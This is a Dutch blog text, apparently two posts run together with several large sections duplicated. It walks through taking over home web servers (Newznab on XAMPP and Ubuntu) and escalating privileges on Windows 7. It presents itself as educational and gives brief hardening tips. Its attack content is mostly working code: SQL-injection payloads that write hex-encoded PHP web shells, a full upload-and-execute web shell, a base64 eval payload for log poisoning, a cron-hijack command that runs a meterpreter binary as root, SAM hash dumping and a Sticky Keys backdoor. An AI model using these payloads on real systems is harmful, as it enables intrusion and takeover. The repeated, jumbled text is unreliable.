chpwn
Dit verhaaltje komt eigenlijk doordat ik wel eens wat lees in het Newznab topic. Iedereen moet natuurlijk wel makkelijk die thuiskopietjes van zijn / haar muziek en films kunnen binnenhalen
.
Wat mij echter opviel is dat meerdere tweakers aanbevelen om tijdens de installatie de webuser alle rechten te geven op de newznab map, of om alle bestanden wereldwijd lees- en schrijfbaar te maken. Dit is, om het zwak uit te drukken, een erg slecht idee (Begrijp me niet verkeerd, dit is geen bashen. Meer, informeren
).
Ook zie ik een hoop mensen XAMPP gebruiken om op Windows een webservertje te draaien. Deze heeft eigenlijk hetzelfde probleem. Vandaar dat dit keer het blogje opgedeeld gaat worden in twee scenario's.
Windows met XAMPP
Het leuke van deze setup is, dat bij een standaard installatie de XAMPP services (Apache, MySQL, etc) als de "SYSTEM" gebruiker draaien, de gebruiker met de hoogste rechten binnen een Windows omgeving:

Het probleem hiermee is dat als er een fout ontdekt wordt in Newznab (of als je een andere kwetsbare applicatie op dezelfde server host) een aanvaller met meerdere vingers in zijn / haar neus de server kan overnemen. Hoe? Read on..
Ok, denk even mee. Naast Newznab heb je dus nog een website draaien op je webserver. En deze is kwetsbaar voor SQL-Injection. In mijn geval heb ik de "Damn Vulnerable WebApp" gedownload en op mijn Windows server gezet. Dit is een softwarepakketje wat met opzet lek is voor allerlei dingen, je weet wel, om mee te spelen
.
De standaard SQLMAP / HAVIJ scriptjongere zal hier al wat standaard truukjes mee uit kunnen halen. Ik denk aan usernames en wachtwoorden achterhalen door te zoeken op:

(Wat je hier ziet is gebruikersnamen en wachtwoorden in het formaat <gebruiker>:<wachtwoord in md5 hash>).
Je zou deze eventueel ook nog vrij makkelijk kunnen kraken:

Maaarrrrrrrrr, dat is nog niet alles! Omdat MySQL hier als "SYSTEM" draait, heeft het proces ook toegang tot (bijna) alle bestanden en mappen. Daarnaast kan MySQL resultaat ook nog eens wegschrijven naar een bestand. Dus als we de volgende query uitvoeren:
zal MySQL de tekst "hello world" in het bestand "c:\xampp\htdocs\hello.html" (de standaard webroot van XAMPP) zetten. Dit kan je vervolgens ook nog eens controleren door naar de website/hello.html te surfen:

(adminadmin staat erbij omdat dat de output van de normale zoekfuntionaliteit is.)
Cool! Maar, aan alleen HTML hebben we niks. Laat de server nu ook PHP ondersteunen.. Maar wat kan PHP voor ons betekenen in deze aanval? Denk even aan het volgende kleine stukje PHP code:
PHP:
Misschien dat je het al herkent, maar dit stukje PHP voert een commando wat je meegeeft in de url (?cmd=dir, bijvoorbeeld) uit op het onderliggende systeem, en geeft de output terug. Nu moeten we het alleen op het systeem krijgen. Door de rare tekens ($, ', ", ;, etc) kan het nog wel eens fout gaan. Maar, gelukkig, kan MySQL ook overweg met Hexadecimale karakters. Dus, even de code omzetten van ASCII naar HEX:

En aan MySQL doorgeven met de volgende query:
Even kijken of het gewerkt heeft:


W00p! Oke, dus we kunnen commando's op de server uitvoeren als "SYSTEM". Alleen is deze shell verder vrij beperkt. Ik heb even snel een iets uitgebreider shelletje gemaakt:

Hij is met opzet wat onleesbaar, omdat hij gemaakt is om via een URL te injecteren. Daarom is hij zo compact mogelijk. Mocht je hem ook willen testen:
PHP:
Zo zou hij eruit zien als het normale PHP was geweest:
PHP:
Basically, is het een shell net als de andere, alleen heeft deze ook upload funcionaliteit, en wordt error reporting uitgezet en alles verzonden via POST. Dit om een beetje anoniem te blijven door niet in de server logs op te duiken
. Daarnaast zit er ook een 'beveiliging' in, die ervoor zorgt dat hij alleen op mijn IP reageert. Het verdient geen schoonheidsprijs, maar het werkt. Dus, via een soortgelijke manier ook even deze shell op de server plaatsen:
Und:

Zo, dat is wat makkelijker. Nu kunnen we via Metasploit even een backdoor genereren om meer controle over het systeem te krijgen. Dus we kiezen onze meterpreter payload en voeren wat opties in (vooral waar hij naar moet terugverbinden):

En we genereren een .exe bestand om te uploaden:

Stap 3, uploaden naar de webserver:


Stap 4, op onze machine iets starten wat de bevinding kan opvangen:

Stap 5, uitvoeren van de .exe op de webserver:

Profit:

En, omdat ook Apache als "SYSTEM" draait:

Volledige toegang tot het Windows systeem. Vanaf hier kan je je aanval gaan uitbreiden over de rest van het netwerk. Of gewoon even een screenshotje maken to see what's going on
:


Ok? Ok. Linux time!
Ubuntu met LAMP
Gelijk vanaf het begin zijn er al verschillen. Zo draait Apache netjes onder een eigen user (standaard www-data), en mag deze user niet zomaar bestanden lezen / aanpassen. Voor dit scenario heb ik wederom de Damn Vulnerable WebApp geïnstalleerd om een fout in newznab / andere applicatie te simuleren. Dit keer gaan we voor Local File Inclusion (LFI). Oftewel, openen van bestanden die eigenlijk niet bij de website horen. Dit soort kwetsbaarheden kan je herkennen aan dit soort URL's:

De kwetsbare code lijkt meestal hier op:

Dus, als je "?page=about.php" in de url intikt, krijg je de about page. Tik je "?page=login.php", krijg je de login pagina. Maar, als dit niet goed afgedicht is, kan je ook "?page=../../../../../../etc/passwd" of zelfs "?page=/etc/passwd" gebruiken om een compleet ander bestand te openen (/etc/passwd):

"Boeie, je kan nu niks webschrijven". Klopt, niet direct, maar we kunnen wel andere bestanden uitlezen waar we zelf ook invloed op hebben. Denk aan bijvoorbeeld het logbestand "/var/log/apache2/other_vhosts_access.log". In dit bestand worden alle requests opgeslagen, samen met wat info over de persoon die het opvraagt:

Sommige delen van deze info hebben we zelf invloed op, zoals bijvoorbeeld de user agent. Zo kan je met de proxy Burp dingen aanpassen voor je het naar de webserver stuurt. Bijvoorbeeld:

Hiermee komt de PHP code:
PHP:
in het logbestand terecht. Als we deze vervolgens weer bekijken door de url "http://dvwa/vulnerabilities/fi/?page=/var/log/apache2/other_vhosts_access.log" te bezoeken gaat de webserver dit bestand uitlezen. Op een gegeven moment komt hij de PHP code tegen en denkt "Hey, dit is PHP! Dat moet ik uitvoeren!". Het resultaat:

Oftewel, we kunnen zelf PHP code uitvoeren op de server, al dan niet met een omweg. Nu is het idee om op deze manier onze shell weg te schrijven. Om dat te doen pakken we weer dezelfde code:
PHP:
We voegen voor elke ' en \ een extra \ toe om te zorgen dat die tekens ge-escaped (is dat een werkwoord?) worden, in plaats van geïnterpreteerd:
PHP:
Dan voegen we een stukje code toe om het geheel weg te schrijven naar het bestand "/var/www/dvwa/shell.php":
PHP:
En, omdat het ook hier niet direct ingevoerd kan worden, converteren we het naar Base64 en gooien we er een PHP functie omheen die de code tijdens het lezen converteert en uitvoert:
PHP:
Dit prakken we in de "User-Agent" header:

En we voeren de code uit door weer de pagina "http://dvwa/vulnerabilities/fi/?page=/var/log/apache2/other_vhosts_access.log" te bezoeken. Hierna surfen we naar website/shell.php en aanschouw:

Vanaf hier kunnen we weer hetzelfde truukje uithalen om een shell op het systeem te krijgen (executable genereren, handler starten, executable uitvoeren). Het enige probleem is dat Ubuntu standaard net iets veiliger is:

Zoals je ziet kunnen we hier alleen commando's uitvoeren onder de beperkte user "www-data", dus kunnen we nog niet echt spannende dingen doen, toch?
Mensen met veel punten voor het geheugen gedeelte van de IQ test 2013 voelen nu een klein lichtje opkomen. Tijdens het installeren van Newznab heb je namelijk de gebruiker "www-data" eigenaar gemaakt van alle bestanden. Dat houdt in dat deze gebruiker die bestanden ook kan uitvoeren.
Als je dan ook nog eens weet dat voor het correct functioneren van Newznab, er automatisch om de zoveel tijd een PHP scriptje gerund moet worden, ga je al automatisch in de "crontab" (de Linux taakplanner) kijken:

Het belangrijke staat hier omcirkeld. In gewone mensentaal staat daar dat elke 10 minuten de gebruiker 'root' het php script 'update_binaries.php' draait. Het goede nieuws voor ons is dat dit bestandje in de Newznab map staat, en dat de gebruiker 'www-data' hier eigenaar van is. Dus we gooien het volgende commando los:

Wat dit commando doet is het oude 'update_binaries.php' kopiëren naar 'update_binaries_old.php'. Vervolgens wordt er in het bestand 'update_binaries.php' een commando gezet om onze gegenereerde executable uit te voeren, en vervolgens (om geen argwaan te wekken) het bestand 'update_binaries_old.php' uit te voeren. And now we wait.. Tot ongeveer 10 minuten later:

En, omdat het bestand gestart wordt als de gebruiker 'root':

Root!
Voorkomen
Windows:
.
Wat mij echter opviel is dat meerdere tweakers aanbevelen om tijdens de installatie de webuser alle rechten te geven op de newznab map, of om alle bestanden wereldwijd lees- en schrijfbaar te maken. Dit is, om het zwak uit te drukken, een erg slecht idee (Begrijp me niet verkeerd, dit is geen bashen. Meer, informeren
Ook zie ik een hoop mensen XAMPP gebruiken om op Windows een webservertje te draaien. Deze heeft eigenlijk hetzelfde probleem. Vandaar dat dit keer het blogje opgedeeld gaat worden in twee scenario's.
Windows met XAMPP
Het leuke van deze setup is, dat bij een standaard installatie de XAMPP services (Apache, MySQL, etc) als de "SYSTEM" gebruiker draaien, de gebruiker met de hoogste rechten binnen een Windows omgeving:

Het probleem hiermee is dat als er een fout ontdekt wordt in Newznab (of als je een andere kwetsbare applicatie op dezelfde server host) een aanvaller met meerdere vingers in zijn / haar neus de server kan overnemen. Hoe? Read on..
Ok, denk even mee. Naast Newznab heb je dus nog een website draaien op je webserver. En deze is kwetsbaar voor SQL-Injection. In mijn geval heb ik de "Damn Vulnerable WebApp" gedownload en op mijn Windows server gezet. Dit is een softwarepakketje wat met opzet lek is voor allerlei dingen, je weet wel, om mee te spelen
De standaard SQLMAP / HAVIJ scriptjongere zal hier al wat standaard truukjes mee uit kunnen halen. Ik denk aan usernames en wachtwoorden achterhalen door te zoeken op:
1' union all select concat(user,':',password),'' from users --

(Wat je hier ziet is gebruikersnamen en wachtwoorden in het formaat <gebruiker>:<wachtwoord in md5 hash>).
Je zou deze eventueel ook nog vrij makkelijk kunnen kraken:

Maaarrrrrrrrr, dat is nog niet alles! Omdat MySQL hier als "SYSTEM" draait, heeft het proces ook toegang tot (bijna) alle bestanden en mappen. Daarnaast kan MySQL resultaat ook nog eens wegschrijven naar een bestand. Dus als we de volgende query uitvoeren:
1' union all select 'hello world','' into dumpfile 'c:/xampp/htdocs/hello.html' --
zal MySQL de tekst "hello world" in het bestand "c:\xampp\htdocs\hello.html" (de standaard webroot van XAMPP) zetten. Dit kan je vervolgens ook nog eens controleren door naar de website/hello.html te surfen:

(adminadmin staat erbij omdat dat de output van de normale zoekfuntionaliteit is.)
Cool! Maar, aan alleen HTML hebben we niks. Laat de server nu ook PHP ondersteunen.. Maar wat kan PHP voor ons betekenen in deze aanval? Denk even aan het volgende kleine stukje PHP code:
PHP:
1 | <?php echo "<pre>".htmlentities(shell_exec($_GET['cmd']))."</pre>"; ?> |
Misschien dat je het al herkent, maar dit stukje PHP voert een commando wat je meegeeft in de url (?cmd=dir, bijvoorbeeld) uit op het onderliggende systeem, en geeft de output terug. Nu moeten we het alleen op het systeem krijgen. Door de rare tekens ($, ', ", ;, etc) kan het nog wel eens fout gaan. Maar, gelukkig, kan MySQL ook overweg met Hexadecimale karakters. Dus, even de code omzetten van ASCII naar HEX:

En aan MySQL doorgeven met de volgende query:
1' union all select 0x3c3f706870206563686f20223c7072653e222e68746d6c656e746974696573287368656c6c5f6578656328245f4745545b27636d64275d29292e223c2f7072653e223b203f3e,'' into dumpfile 'c:/xampp/htdocs/shell.php' --
Even kijken of het gewerkt heeft:


W00p! Oke, dus we kunnen commando's op de server uitvoeren als "SYSTEM". Alleen is deze shell verder vrij beperkt. Ik heb even snel een iets uitgebreider shelletje gemaakt:

Hij is met opzet wat onleesbaar, omdat hij gemaakt is om via een URL te injecteren. Daarom is hij zo compact mogelijk. Mocht je hem ook willen testen:
PHP:
1 | <?php error_reporting(0);if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";$fs=$_FILES['f'];if (isset($fs)){move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);echo" Upped!";}$gc=$_POST['c'];echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?> |
Zo zou hij eruit zien als het normale PHP was geweest:
PHP:
1 | <?php
|
Basically, is het een shell net als de andere, alleen heeft deze ook upload funcionaliteit, en wordt error reporting uitgezet en alles verzonden via POST. Dit om een beetje anoniem te blijven door niet in de server logs op te duiken
1' union all select 0x3c3f706870206572726f725f7265706f7274696e672830293b696628245f5345525645525b2752454d4f54455f41444452275d3d3d273139322e3136382e312e32303227297b2468653d68746d6c656e7469746965733b24666f3d223c666f726d206d6574686f643d706f737420223b2469743d22203c696e70757420747970653d223b6563686f24666f2e22656e63747970653d6d756c7469706172742f666f726d2d646174613e222e2469742e2266696c65206e616d653d663e20546f3a20222e2469742e2274657874206e616d653d6c2076616c75653d27222e246865287374725f7265706c61636528275c5c272c272f272c676574637764282929292e22273e222e2469742e227375626d69742076616c75653d55703e223b2466733d245f46494c45535b2766275d3b6966202869737365742824667329297b6d6f76655f75706c6f616465645f66696c65282466735b27746d705f6e616d65275d2c245f504f53545b276c275d2e272f272e2466735b276e616d65275d293b6563686f2220557070656421223b7d2467633d245f504f53545b2763275d3b6563686f223c2f666f726d3e222e24666f2e223e222e2469742e2274657874206e616d653d632076616c75653d27222e24686528246763292e22273e222e2469742e227375626d69742076616c75653d457865637574653e223b69662869737365742824676329297b6563686f223c7072653e222e246865286024676320323e263160292e223c2f7072653e223b7d7d3f3e0a,'' into dumpfile 'c:/xampp/htdocs/simshell.php' --
Und:

Zo, dat is wat makkelijker. Nu kunnen we via Metasploit even een backdoor genereren om meer controle over het systeem te krijgen. Dus we kiezen onze meterpreter payload en voeren wat opties in (vooral waar hij naar moet terugverbinden):

En we genereren een .exe bestand om te uploaden:

Stap 3, uploaden naar de webserver:


Stap 4, op onze machine iets starten wat de bevinding kan opvangen:

Stap 5, uitvoeren van de .exe op de webserver:

Profit:

En, omdat ook Apache als "SYSTEM" draait:

Volledige toegang tot het Windows systeem. Vanaf hier kan je je aanval gaan uitbreiden over de rest van het netwerk. Of gewoon even een screenshotje maken to see what's going on


Ok? Ok. Linux time!
Ubuntu met LAMP
Gelijk vanaf het begin zijn er al verschillen. Zo draait Apache netjes onder een eigen user (standaard www-data), en mag deze user niet zomaar bestanden lezen / aanpassen. Voor dit scenario heb ik wederom de Damn Vulnerable WebApp geïnstalleerd om een fout in newznab / andere applicatie te simuleren. Dit keer gaan we voor Local File Inclusion (LFI). Oftewel, openen van bestanden die eigenlijk niet bij de website horen. Dit soort kwetsbaarheden kan je herkennen aan dit soort URL's:

De kwetsbare code lijkt meestal hier op:

Dus, als je "?page=about.php" in de url intikt, krijg je de about page. Tik je "?page=login.php", krijg je de login pagina. Maar, als dit niet goed afgedicht is, kan je ook "?page=../../../../../../etc/passwd" of zelfs "?page=/etc/passwd" gebruiken om een compleet ander bestand te openen (/etc/passwd):

"Boeie, je kan nu niks webschrijven". Klopt, niet direct, maar we kunnen wel andere bestanden uitlezen waar we zelf ook invloed op hebben. Denk aan bijvoorbeeld het logbestand "/var/log/apache2/other_vhosts_access.log". In dit bestand worden alle requests opgeslagen, samen met wat info over de persoon die het opvraagt:

Sommige delen van deze info hebben we zelf invloed op, zoals bijvoorbeeld de user agent. Zo kan je met de proxy Burp dingen aanpassen voor je het naar de webserver stuurt. Bijvoorbeeld:

Hiermee komt de PHP code:
PHP:
1 | <? phpinfo() ?> |
in het logbestand terecht. Als we deze vervolgens weer bekijken door de url "http://dvwa/vulnerabilities/fi/?page=/var/log/apache2/other_vhosts_access.log" te bezoeken gaat de webserver dit bestand uitlezen. Op een gegeven moment komt hij de PHP code tegen en denkt "Hey, dit is PHP! Dat moet ik uitvoeren!". Het resultaat:

Oftewel, we kunnen zelf PHP code uitvoeren op de server, al dan niet met een omweg. Nu is het idee om op deze manier onze shell weg te schrijven. Om dat te doen pakken we weer dezelfde code:
PHP:
1 | <?php error_reporting(0);if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";$fs=$_FILES['f'];if (isset($fs)){move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);echo" Upped!";}$gc=$_POST['c'];echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?> |
We voegen voor elke ' en \ een extra \ toe om te zorgen dat die tekens ge-escaped (is dat een werkwoord?) worden, in plaats van geïnterpreteerd:
PHP:
1 | <?php error_reporting(0);if($_SERVER[\'REMOTE_ADDR\']==\'192.168.1.202\'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value=\'".$he(str_replace(\'\\\\\',\'/\',getcwd()))."\'>".$it."submit value=Up>";$fs=$_FILES[\'f\'];if (isset($fs)){move_uploaded_file($fs[\'tmp_name\'],$_POST[\'l\'].\'/\'.$fs[\'name\']);echo" Upped!";}$gc=$_POST[\'c\'];echo"</form>".$fo.">".$it."text name=c value=\'".$he($gc)."\'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?> |
Dan voegen we een stukje code toe om het geheel weg te schrijven naar het bestand "/var/www/dvwa/shell.php":
PHP:
1 | fwrite(fopen('/var/www/dvwa/shell.php', 'w'), '<?php error_reporting(0);if($_SERVER[\'REMOTE_ADDR\']==\'192.168.1.202\'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value=\'".$he(str_replace(\'\\\\\',\'/\',getcwd()))."\'>".$it."submit value=Up>";$fs=$_FILES[\'f\'];if (isset($fs)){move_uploaded_file($fs[\'tmp_name\'],$_POST[\'l\'].\'/\'.$fs[\'name\']);echo" Upped!";}$gc=$_POST[\'c\'];echo"</form>".$fo.">".$it."text name=c value=\'".$he($gc)."\'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>'); |
En, omdat het ook hier niet direct ingevoerd kan worden, converteren we het naar Base64 en gooien we er een PHP functie omheen die de code tijdens het lezen converteert en uitvoert:
PHP:
1 | <?php eval(base64_decode('ZndyaXRlKGZvcGVuKCcvdmFyL3d3dy9kdndhL3NoZWxsLnBocCcsICd3JyksICc8P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7aWYoJF9TRVJWRVJbXCdSRU1PVEVfQUREUlwnXT09XCcxOTIuMTY4LjEuMjAyXCcpeyRoZT1odG1sZW50aXRpZXM7JGZvPSI8Zm9ybSBtZXRob2Q9cG9zdCAiOyRpdD0iIDxpbnB1dCB0eXBlPSI7ZWNobyRmby4iZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPiIuJGl0LiJmaWxlIG5hbWU9Zj4gVG86ICIuJGl0LiJ0ZXh0IG5hbWU9bCB2YWx1ZT1cJyIuJGhlKHN0cl9yZXBsYWNlKFwnXFxcXFwnLFwnL1wnLGdldGN3ZCgpKSkuIlwnPiIuJGl0LiJzdWJtaXQgdmFsdWU9VXA+IjskZnM9JF9GSUxFU1tcJ2ZcJ107aWYgKGlzc2V0KCRmcykpe21vdmVfdXBsb2FkZWRfZmlsZSgkZnNbXCd0bXBfbmFtZVwnXSwkX1BPU1RbXCdsXCddLlwnL1wnLiRmc1tcJ25hbWVcJ10pO2VjaG8iIFVwcGVkISI7fSRnYz0kX1BPU1RbXCdjXCddO2VjaG8iPC9mb3JtPiIuJGZvLiI+Ii4kaXQuInRleHQgbmFtZT1jIHZhbHVlPVwnIi4kaGUoJGdjKS4iXCc+Ii4kaXQuInN1Ym1pdCB2YWx1ZT1FeGVjdXRlPiI7aWYoaXNzZXQoJGdjKSl7ZWNobyI8cHJlPiIuJGhlKGAkZ2MgMj4mMWApLiI8L3ByZT4iO319Pz4nKTs=')); ?> |
Dit prakken we in de "User-Agent" header:

En we voeren de code uit door weer de pagina "http://dvwa/vulnerabilities/fi/?page=/var/log/apache2/other_vhosts_access.log" te bezoeken. Hierna surfen we naar website/shell.php en aanschouw:

Vanaf hier kunnen we weer hetzelfde truukje uithalen om een shell op het systeem te krijgen (executable genereren, handler starten, executable uitvoeren). Het enige probleem is dat Ubuntu standaard net iets veiliger is:

Zoals je ziet kunnen we hier alleen commando's uitvoeren onder de beperkte user "www-data", dus kunnen we nog niet echt spannende dingen doen, toch?
Mensen met veel punten voor het geheugen gedeelte van de IQ test 2013 voelen nu een klein lichtje opkomen. Tijdens het installeren van Newznab heb je namelijk de gebruiker "www-data" eigenaar gemaakt van alle bestanden. Dat houdt in dat deze gebruiker die bestanden ook kan uitvoeren.
Als je dan ook nog eens weet dat voor het correct functioneren van Newznab, er automatisch om de zoveel tijd een PHP scriptje gerund moet worden, ga je al automatisch in de "crontab" (de Linux taakplanner) kijken:

Het belangrijke staat hier omcirkeld. In gewone mensentaal staat daar dat elke 10 minuten de gebruiker 'root' het php script 'update_binaries.php' draait. Het goede nieuws voor ons is dat dit bestandje in de Newznab map staat, en dat de gebruiker 'www-data' hier eigenaar van is. Dus we gooien het volgende commando los:
mv /var/www/newznab/misc/update_scripts/update_binaries.php /var/www/newznab/misc/update_scripts/update_binaries_old.php && echo '<?php `/var/www/dvwa/meterpreter.bin`; include "/var/www/newznab/misc/update_scripts/update_binaries_old.php" ?>' > /var/www/newznab/misc/update_scripts/update_binaries.php

Wat dit commando doet is het oude 'update_binaries.php' kopiëren naar 'update_binaries_old.php'. Vervolgens wordt er in het bestand 'update_binaries.php' een commando gezet om onze gegenereerde executable uit te voeren, en vervolgens (om geen argwaan te wekken) het bestand 'update_binaries_old.php' uit te voeren. And now we wait.. Tot ongeveer 10 minuten later:

En, omdat het bestand gestart wordt als de gebruiker 'root':

Root!
Voorkomen
Windows:
- Draai Apache, MySQL, etc als een aparte gebruiker.
- Geef deze gebruiker zo weinig mogelijk rechten.
- Optioneel: Blokkeer zoveel mogelijk uitgaande verbindingen.
- Maak de webuser niet de eigenaar van de webroot.
- Zet de bestandsrechten zo strak mogelijk. Geef alleen schrijfrechten waar strikt noodzakelijk.
- Optioneel: Blokkeer zoveel mogelijk uitgaande verbindingen.
- Optioneel: Draai elke website als een andere user.
Beperkt houdbaar
Om maar even met de deur in huis te vallen, dit wordt een klein stukje over Windows, en hoe je van een account met beperkte rechten naar Administrator kan (Of, mocht je op een domein zitten, Domain Administrator, yay!). En nee, dit is niet om je te leren computers over te nemen, maar juist wat je moet doen om het te voorkomen
.
Voor dit verhaal heb ik een Windows 7 VM gemaakt, met de standaardgebruiker "Henk":

Henk wil graag administrator worden, anders kan hij SuperSexyCelebsNudeScreensaver.zip.png.scr.exe niet installeren, en dat zou toch jammer zijn. Er zijn meerdere manieren waarop hij dat kan doen.
Wachtwoorden kraken
Henk is niet helemaal vreemd met computers, en heeft ook wel wat ervaring met Linux. Ondanks dat zijn account enkel beperkte rechten heeft, kan hij de computer wel gewoon met een Live-CD van Ubuntu opstarten. En dat doet hij dan ook.
Als de computer eenmaal opgestart is, kopiëert hij de volgende bestanden even naar een tijdelijke locatie (In vaktermen, /tmp):
Waarom? Omdat alle wachtwoorden voor de gebruikersaccounts in het SAM-bestand staan. Om deze uit te kunnen lezen heb je ook wat info uit het SYSTEM bestand nodig. Hiervoor heb je meerdere tooltjes, maar Henk gebruikt het gratis te verkrijgen creddump. Even uitpakken (En wellicht apt-get install python-crypto), en draaien met:
En woei, hashes (Het wachtwoord in versleutelde vorm):

Het formaat in dit geval is:
Wat je voor dit verhaal moet weten, is dat LM hashes onwijs makkelijk te kraken zijn, en dat NTLM een stuk veiliger is. Ook staat het opslaan van LM hashes standaard uit vanaf Windows Vista. Toch zijn er bedrijven / systeembeheerders die dit nog gebruiken. Dus, herken jij jezelf in dit profiel? Soliciteer nu! Doe eens niet!.
Kraaktijd! De eerste poging is een gewone brute-force aanval met John the Ripper:

(De commandline spreekt voor zich in dit geval denk ik, kraak de LM hash in "/tmp/hash_van_henk" met john)
Vanwege de manier waarop LM hashing werkt, wordt het wachtwoord in twee delen gekraakt, en is de uitkomst altijd uppercase. Dus aan elkaar geplakt komt er een wachtwoord uit van W4CHTW00RDH3NK.
Helaas gaat Windows dat niet accepteren. Maar we kunnen dit wachtwoord wel gebruiken voor een aanval op het NTLM gedeelte van de hash. Het reeds achterhaalde wachtwoord zetten we in /tmp/wordlist, en voeren nog een aanval met John uit:

Wat je hier ziet is John die de NTLM hash probeert te kraken met "W4CHTW00RDH3NK" als enige woord. --rules zorgt ervoor dat er enkele regels toegepast worden, waaronder het vervangen van hoofdletters met kleinere letters.
Dit hele proces neemt al snel 15 minuten of meer in beslag, en zoveel geduld opbrengen is lastig. Gelukkig hebben we de foto's rainbow tables nog! Wat rainbow tables precies zijn ga ik wederom niet uitleggen, maar mocht je het echt heel heel heel heul heul graag willen weten, zie dan hier. Het enige wat je nu moet weten, is dat het kraken van LM hashes met rainbow tables echt retesnel is. De tool in dit geval is rcracki_mt, en de command line is als volgt:

Kijk, dat zien we graag. Klaar in minder dan een halve minuut, en rcracki_mt heeft zelf al uitgezocht hoe het zit met hoofdletters. Remember kids, a lazy hacker is a good hacker.
Helaas voor Henk, is het wachtwoord van MrAdmin niet in LM hash opgeslagen, en met je z'n eigen gekraakte wachtwoord kan hij niet zo veel (Maar het is wel verdomd handig voor dit verhaal). Hij kan de NTLM variant wel proberen te kraken, maar dat gaat waarschijnlijk aanzienlijker langer duren, dus tijd voor een ander truukje.
Sticky Keys
Ken je dat? Ben je lekker aan het gamen, krijg je opeens een piepje uit de krochten van de hel en / of pc-speaker, en dit venstertje gooit je game naar de taakbalk:

Wat blijkt, na 5 keer op de shift toets drukken komt dit omhoog. Als je dat doet, opent Windows het programma C:\Windows\System32\sethc.exe, ook voordat een gebruiker ingelogd is, op het aanmeldscherm.
Omdat Henk toch nog in een Linux omgeving is, heeft hij niks met Windows permissions te maken, en kan hij gewoon het volgende doen:

Oftewel: verplaats sethc.exe naar sethc.exe.bak, en kopiëer cmd.exe naar sethc.exe. Henk herstart de PC, en drukt bij het inlogscherm 5 keer op shift:

W00t! Een shell, op het inlogscherm, als NT AUTHORITY\SYSTEM (Hogere rechten bestaan niet op een Windows systeem). Zou ik explorer kunnen starten?:


Hmm, een beetje vreemd, maar wel lekker. Een desktopomgeving in je aanmeldscherm! Maar, genoeg gespeeld, tijd voor de climax:


Profit! Henk is lid van de Administrator groep, en kan eindelijk zijn nieuwe screensaver installeren. Ook heeft Henk nu wat meer mogelijkheden om alsnog achter het wachtwoord van MrAdmin te komen.
Hij wacht tot MrAdmin een keer inlogt op de pc, en zich niet goed afmeld. Dan pakt Henk de onwijs handige tool wce. Wat kan WCE? Nou, dit:

Ja, je ziet het goed. Zolang een gebruiker ingelogd is, of zolang er een service draait als een bepaalde gebruiker, kan WCE het wachtwoord plaintext uit het geheugen vissen. Oók als het gaat om gebruikers in een Windows domein (Dus, Admins op Terminal Servers, niet doen hè?).
Kan dat niet makkelijker?
Ja hoor, veel makkelijker, er bestaat namelijk iets als kon-boot. Is niet gratis, maar wel very much handig. Want zodra je van de kon-boot cd opstart, kan je in alle accounts op de computer inloggen zonder een wachtwoord in te voeren, en wordt het sticky keys truukje van hierboven automatisch toegepast:
Maar ik kan helemaal niet van CD starten, maar onze beheerder heeft de computers wel zo ingesteld dat ze via PXE boot een image kunnen downloaden
Nou, dat maakt het nog een stukje makkelijker. De populaire tool Metasploit heeft hier namelijk een prachtige module voor:

Wat dit doet? Het start een eigen PXE server, een computer start er automatisch van op en er wordt een gebruiker "metasploit" toegevoegd, en lid gemaakt van de Administrator groep. Ook zet het een eventuele firewall uit, en installeert het een service waar metasploit naar kan verbinden om Meterpreter te starten op de machine (Een soort shell++, mocht je er meer over willen weten, even googlen
).
Wat in actie screenshots dan, voor die techneuten die nu nog steeds benieuwd zijn:





Dat allemaal automagisch, et voilá:

Hoe makkelijk wil je het hebben
.
Eek! (Tuuunununununuuu) Hoe voorkom ik dit?
Voor dit verhaal heb ik een Windows 7 VM gemaakt, met de standaardgebruiker "Henk":

Henk wil graag administrator worden, anders kan hij SuperSexyCelebsNudeScreensaver.zip.png.scr.exe niet installeren, en dat zou toch jammer zijn. Er zijn meerdere manieren waarop hij dat kan doen.
Wachtwoorden kraken
Henk is niet helemaal vreemd met computers, en heeft ook wel wat ervaring met Linux. Ondanks dat zijn account enkel beperkte rechten heeft, kan hij de computer wel gewoon met een Live-CD van Ubuntu opstarten. En dat doet hij dan ook.
Als de computer eenmaal opgestart is, kopiëert hij de volgende bestanden even naar een tijdelijke locatie (In vaktermen, /tmp):
- C:\Windows\System32\Config\SAM
- C:\Windows\System32\Config\SYSTEM

Waarom? Omdat alle wachtwoorden voor de gebruikersaccounts in het SAM-bestand staan. Om deze uit te kunnen lezen heb je ook wat info uit het SYSTEM bestand nodig. Hiervoor heb je meerdere tooltjes, maar Henk gebruikt het gratis te verkrijgen creddump. Even uitpakken (En wellicht apt-get install python-crypto), en draaien met:
./pwdump.py /tmp/SYSTEM /tmp/SAM
En woei, hashes (Het wachtwoord in versleutelde vorm):

Het formaat in dit geval is:
